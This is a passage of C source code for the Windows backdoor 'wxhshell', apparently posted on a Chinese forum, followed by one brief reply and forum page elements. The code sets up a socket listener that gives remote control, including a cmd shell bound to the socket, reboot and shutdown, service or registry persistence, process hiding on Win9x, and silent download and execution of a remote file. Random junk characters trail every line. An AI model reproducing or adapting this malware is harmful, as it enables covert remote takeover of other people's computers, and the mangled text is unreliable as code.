  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nt/hF>"7  
  else S q{@4F}d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -_XTy!I  
  } I moxg+u  
  else { =Q*3\ )7  
} |  
    switch(cmd[0]) { < pZwM  
  d0;?GQYn:  
  // 帮助 qQ 8+gZG$R  
  case '?': { _PSOT5{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .br6x ^\<  
    break; 2OQ\ z;s  
  } |#'n VN.;  
  // 安装 kT:I.,N   
  case 'i': { }Eh &'  
    if(Install()) O&,8X-Ix  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JfmYr47Pv  
    else W2'!Pc,W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fm*npK  
    break; QNH3\<IS  
    } z"Mk(d@-E  
  // 卸载 [v\m)5  
  case 'r': { <~uzKs0  
    if(Uninstall()) Q!_d6-*u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SmIcqM  
    else 4]6-)RHFB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +}PN+:yV  
    break; Je}0KW3G9L  
    } +wxsAGy_j  
  // 显示 wxhshell 所在路径 c94=>p6  
  case 'p': { Qxk& J  
    char svExeFile[MAX_PATH]; o4wSt6gBcJ  
    strcpy(svExeFile,"\n\r"); jcb&h@T8kv  
      strcat(svExeFile,ExeFile); |gIE$rt-~W  
        send(wsh,svExeFile,strlen(svExeFile),0); 5{ bc&?"  
    break; O8 SE)R~  
    } _ j`tR:  
  // 重启 SZ}=~yoD(  
  case 'b': { k81%$E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ESYF4-d+  
    if(Boot(REBOOT)) V@[C=K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Wu[e,p  
    else { n 4y]h  
    closesocket(wsh); Dp!91NgB p  
    ExitThread(0); 'C]Y h."u  
    } )]s<Czm%  
    break; 52zE -SY  
    } D~#%^a+Aq_  
  // 关机 [:cvy[}v@  
  case 'd': { =E<H_cUS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }pIn3B)  
    if(Boot(SHUTDOWN)) D <R_eK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !?=U{^|7y  
    else { _^NyLI%  
    closesocket(wsh); t"Ah]sD  
    ExitThread(0); ~?FhQd\Q  
    } gn&Zt}@[  
    break; @&Bh!_TWc  
    } 4QTHBT+2`  
  // 获取shell 0^sY>N"  
  case 's': { f 9Kt>2IN  
    CmdShell(wsh); m uy^>2p  
    closesocket(wsh); Q$v00z]f*  
    ExitThread(0); -J8Hsqf@  
    break; .ESvMK~x  
  } >0W P:-\*  
  // 退出 %qiVbm0  
  case 'x': { E2d'P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8'%m!  
    CloseIt(wsh); G!;PV^6x  
    break; ],k~t5+  
    } 7eAV2.  
  // 离开 se`Eez}  
  case 'q': { sRA2O/yKCE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U3Z=X TB  
    closesocket(wsh); t ^[fu,  
    WSACleanup(); DA.k8M  
    exit(1); W\NC3]  
    break; =$fz</S=J  
        } KmTFJ,iM  
  } w"wW0uE^  
  } b^Re947{g  
M/dgW` c  
  // 提示信息 @uldD"MJ<]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ 'lu;1-,  
} vg1J N"S[  
  } r PK.Q)g  
!*Eu(abD  
  return; xcU!bDV  
} 7J!s"|VS  
W(R~K -  
// shell模块句柄 &29jg_'W  
int CmdShell(SOCKET sock) { ]_j)R  
{ L*tfY onq  
STARTUPINFO si; w2'q9pB+  
ZeroMemory(&si,sizeof(si)); dpw-a4o}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h]s~w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eNK[P=-  
PROCESS_INFORMATION ProcessInfo; oV0T   
char cmdline[]="cmd"; 9K/EteS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  2Y23!hw  
  return 0; |w}j!}u  
} dN)8r  
T7.Iqw3p  
// 自身启动模式 @$ Zh^+x!  
int StartFromService(void) Z17b=x Jw  
{ BZ1wE1t  
typedef struct Y~8 5Z0l  
{ gS5MoW1  
  DWORD ExitStatus; Y=O+d\_W  
  DWORD PebBaseAddress; rR-[CT  
  DWORD AffinityMask; 9<.O=-1~  
  DWORD BasePriority; [ gMn  
  ULONG UniqueProcessId; e;"J,7@  
  ULONG InheritedFromUniqueProcessId;  E|"SM A,  
}   PROCESS_BASIC_INFORMATION; KE~Q88s  
YHQ]]#'  
PROCNTQSIP NtQueryInformationProcess; 3HpqMz  
M7cD!s@'I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8qg%>ZU4d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C$TU TS  
ou<3}g  
  HANDLE             hProcess; )>:~XA|?  
  PROCESS_BASIC_INFORMATION pbi; A}(]J!rc  
 pE)NSZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ee2P]4_d  
  if(NULL == hInst ) return 0; "u!gfG?oH  
dX cbS<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QQ.?A(U7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \+%~7Bi]z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~ p? ArZb  
#0aBQ+_8H  
  if (!NtQueryInformationProcess) return 0; eTvWkpK+  
;+E]F8G9r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /DHgwpJ  
  if(!hProcess) return 0; hbH~Ya=+S  
*v+l,z4n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oxlor,lw/  
IDH~nMz  
  CloseHandle(hProcess); kk-<+R2  
RTcxZ/\" #  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dDpAS#'s\  
if(hProcess==NULL) return 0; (4cdkL  
.Rk8qRB  
HMODULE hMod; LBCH7@V1yR  
char procName[255]; k i<X^^  
unsigned long cbNeeded; 9f( X7kt  
:}zyd;Rc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |NZi2Bu  
v"o"W[  
  CloseHandle(hProcess); \mc0fY  
U]sAYp^$  
if(strstr(procName,"services")) return 1; // 以服务启动 SWV*w[X<X  
U.Mfu9}#:  
  return 0; // 注册表启动 )OV0YfO   
} [! $N Tt_  
iH }-  
// 主模块 Xkhd"Axi  
int StartWxhshell(LPSTR lpCmdLine) a.Z@Z!*  
{ .P)lQk\  
  SOCKET wsl; ~DInd-<5  
BOOL val=TRUE; o:AfEoH"~  
  int port=0; %;k Hnl  
  struct sockaddr_in door; VO|ECB2e  
w+ R/>a( ]  
  if(wscfg.ws_autoins) Install(); 2F:qaz  
}8ubGMr,Y  
port=atoi(lpCmdLine); .d1ff] ;  
9;e!r DW,#  
if(port<=0) port=wscfg.ws_port; .C% 28fH  
f$xXR$mjf  
  WSADATA data; mQ:{>`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q,,  
\0b}Z#'0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $9,&BW_*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  LgNIb  
  door.sin_family = AF_INET; &W@2n&U.q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v745F Iy<  
  door.sin_port = htons(port); ZZT #V%Q=u  
,0W^"f.g{m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X/~uF 9a'<  
closesocket(wsl); b"h'7C/  
return 1; Jbu2y'zE  
} bqcCA9 1  
AEyvljv  
  if(listen(wsl,2) == INVALID_SOCKET) { vV}w>Ap[  
closesocket(wsl); 3PNdc}h&#  
return 1; pmNy=ZXx  
} !RI _Uph  
  Wxhshell(wsl); ~5N}P>4 *  
  WSACleanup(); P1-eDHYw  
bC<W7qf]}  
return 0; Y$=jAN  
 ? }M81  
} j]BRfA  
8>v_th  
// 以NT服务方式启动 @sXv5kZ:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Al-`}g+^  
{ :>1nkm&Eg  
DWORD   status = 0; ==dKC;  
  DWORD   specificError = 0xfffffff; $H)^o!  
4@ PA+(kvS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xqf,_I=V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |THpkfW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :o'x?]  
  serviceStatus.dwWin32ExitCode     = 0; o!M8V ^vW  
  serviceStatus.dwServiceSpecificExitCode = 0; BO[:=x`  
  serviceStatus.dwCheckPoint       = 0; |./mPV r  
  serviceStatus.dwWaitHint       = 0; p%Z:SZZ  
G4)~p!TSQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;g|Vt}a&4  
  if (hServiceStatusHandle==0) return; <Y]LY_(  
tk"+ u_uw  
status = GetLastError(); sK}AS;:  
  if (status!=NO_ERROR) Fv$tl)p*  
{ gQn%RPMh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :$WO"HfMSn  
    serviceStatus.dwCheckPoint       = 0; yKc-:IBb{u  
    serviceStatus.dwWaitHint       = 0; uR0UfKK  
    serviceStatus.dwWin32ExitCode     = status; b[74$W{  
    serviceStatus.dwServiceSpecificExitCode = specificError; T`&zQQ6F'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /WuYg OI  
    return; C~ 1]  
  } 1R2IlUlzFr  
 &9y Zfp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M et]|&  
  serviceStatus.dwCheckPoint       = 0; F$7!j$ Z  
  serviceStatus.dwWaitHint       = 0; _'=,c"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 40t xZFQ0  
} (\AN0_  
IO%kXF.[  
// 处理NT服务事件,比如:启动、停止 #EPC]jFk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -YA,Stc-  
{ 0fsVbC  
switch(fdwControl)  - vvyG  
{ \Vyys[MMY8  
case SERVICE_CONTROL_STOP: #<*Vc6pC  
  serviceStatus.dwWin32ExitCode = 0; AC,RS 7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -o ).<&#  
  serviceStatus.dwCheckPoint   = 0; =Hi@q "  
  serviceStatus.dwWaitHint     = 0; ^hIdmTf6  
  { Z8|<%1Kge  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }v ZOPTP  
  } *1)>He$qL  
  return; GJ ^c^`  
case SERVICE_CONTROL_PAUSE: WK{`_c U^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 51|ky-  
  break; ~>u .d  
case SERVICE_CONTROL_CONTINUE: [YDSS/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s3>a  
  break; kKX' Y+  
case SERVICE_CONTROL_INTERROGATE: 6nx\|F  
  break; zHJCXTM  
}; s)^/3a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ={BD*= i  
} jq+(2  
#HUn~r  
// 标准应用程序主函数 p+d-7'?I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x?h/e;  
{ 9K+> ;`  
2\xw2VQ@P  
// 获取操作系统版本 ATs_d_Sz  
OsIsNt=GetOsVer(); K`4lL5oH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {r^_g(.q  
:Jd7q.  
  // 从命令行安装 ^6s im2  
  if(strpbrk(lpCmdLine,"iI")) Install(); c!6D{(sfh  
Itl8#LpLM  
  // 下载执行文件 l1+l@r\  
if(wscfg.ws_downexe) { f"MID6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) + :MSY p  
  WinExec(wscfg.ws_filenam,SW_HIDE); -  x  
} 9[0iIT$q$  
mQ[$U  
if(!OsIsNt) { xT HD_?d  
// 如果时win9x,隐藏进程并且设置为注册表启动  TGCB=e  
HideProc(); f{sT*_at  
StartWxhshell(lpCmdLine); j}+3+ 8D  
} vm [lMx  
else `^M]|7  
  if(StartFromService()) tLE8+[ SU  
  // 以服务方式启动 ;4F6 $T'I  
  StartServiceCtrlDispatcher(DispatchTable); R/hf"E1  
else zoq;3a5cqB  
  // 普通方式启动  E]V, @  
  StartWxhshell(lpCmdLine); (,|,j(=]  
W`>|OiuF  
return 0; ;:;E|{e  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五